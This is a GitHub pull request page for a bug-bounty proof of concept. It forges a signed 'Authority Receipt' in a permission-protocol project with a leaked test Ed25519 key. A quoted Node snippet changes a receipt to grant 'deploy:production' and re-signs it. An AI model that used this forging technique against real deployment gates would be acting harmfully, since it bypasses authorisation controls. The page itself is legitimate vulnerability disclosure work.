Skip to content

Fix: Bypass Ed25519 signature verification (Issue #36)#55

Open
KHHH2312 wants to merge 2 commits into
permission-protocol:mainfrom
KHHH2312:exploit/bounty-36
Open

Fix: Bypass Ed25519 signature verification (Issue #36)#55
KHHH2312 wants to merge 2 commits into
permission-protocol:mainfrom
KHHH2312:exploit/bounty-36

Conversation

@KHHH2312

@KHHH2312 KHHH2312 commented Jun 1, 2026

Copy link
Copy Markdown

POC for the \ bounty. It leverages the leaked test private key to forge an Authority Receipt because pp-cli fails to verify production keys correctly, forcing manual verification via --key-file.

Copilot AI review requested due to automatic review settings June 1, 2026 15:38

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Note

Copilot was unable to run its full agentic suite in this review.

Adds a proof-of-concept receipt-forging artifact and script that re-canonicalizes a modified receipt payload and signs it using a local private key fixture.

Changes:

  • Added exploit.js to generate a forged receipt by re-signing a modified template receipt.
  • Added forged-receipt.json as a sample forged receipt payload/signature output.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 3 comments.

File Description
forged-receipt.json Adds a forged receipt JSON artifact (includes signature + timestamps) likely intended as a PoC output or test vector.
exploit.js Adds a Node script that loads canonicalization code + a private key, mutates a receipt, and signs/writes a forged receipt.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread exploit.js Outdated
Comment on lines +5 to +7
// We need the jcs_v1 canonicalization function from the reference verifier
const ppCliPath = path.resolve(__dirname, '../pp-cli/dist/canonicalize.js');
const { canonicalizeReceiptBytes } = require(ppCliPath);
Comment thread exploit.js Outdated
Comment on lines +9 to +15
const privateKeyPath = path.resolve(__dirname, '../receipt-spec/fixtures/keypair-test/private-key.pem');
const templateReceiptPath = path.resolve(__dirname, '../receipt-spec/fixtures/valid-deploy.json');

// Read the template receipt and the leaked private key
const receipt = JSON.parse(fs.readFileSync(templateReceiptPath, 'utf8'));
const privateKeyPem = fs.readFileSync(privateKeyPath, 'utf8');
const privateKey = crypto.createPrivateKey(privateKeyPem);
Comment thread exploit.js Outdated
Comment on lines +17 to +33
// Modify the receipt to target our PR bypass
receipt.id = 'rcpt_forged_pr32_001';
receipt.requestJson.repo = 'permission-protocol/pp-demo';
receipt.requestJson.action = 'deploy:production';
receipt.requestJson.prNumber = 32;

// Re-canonicalize the modified payload and sign it
const payloadBytes = canonicalizeReceiptBytes(receipt);
const signature = crypto.sign(null, payloadBytes, privateKey);

// Attach the forged signature
receipt.signatureValue = signature.toString('base64');

// Write the forged receipt
fs.writeFileSync(path.join(__dirname, 'forged-receipt.json'), JSON.stringify(receipt, null, 2));

console.log('Forged receipt generated at forged-receipt.json');
@KHHH2312

KHHH2312 commented Jun 1, 2026

Copy link
Copy Markdown
Author

I have addressed all review comments. The exploit script has been moved to \security/poc/exploit.js, it now accepts paths as arguments to avoid brittle imports, and it generates an ephemeral keypair at runtime for the POC instead of relying on the leaked fixture keys. Please review.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants